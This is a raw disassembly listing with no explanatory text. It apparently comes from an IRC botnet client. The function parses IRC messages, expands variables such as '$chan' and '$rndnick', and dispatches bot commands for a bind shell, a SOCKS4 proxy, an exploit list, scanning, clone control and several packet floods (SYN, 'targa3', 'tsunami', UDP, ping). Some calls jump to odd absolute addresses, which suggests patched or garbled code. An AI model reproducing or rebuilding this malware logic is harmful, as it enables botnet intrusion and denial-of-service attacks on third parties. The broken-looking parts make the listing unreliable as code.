		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC74
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB888
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC58
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC50
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC38
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42CBFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBB8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB90
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42CB58
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB28
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAF4
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294CC, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DB90


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294CC
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDC4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBA8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DB90[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAAC ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA08
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C994
		push	offset dword_42C988
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C968
		push	offset dword_42C958
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C94C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7E8
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C750
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C72C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C70C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C64C
		jnz	short loc_403162
		mov	eax, offset unk_42C628


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
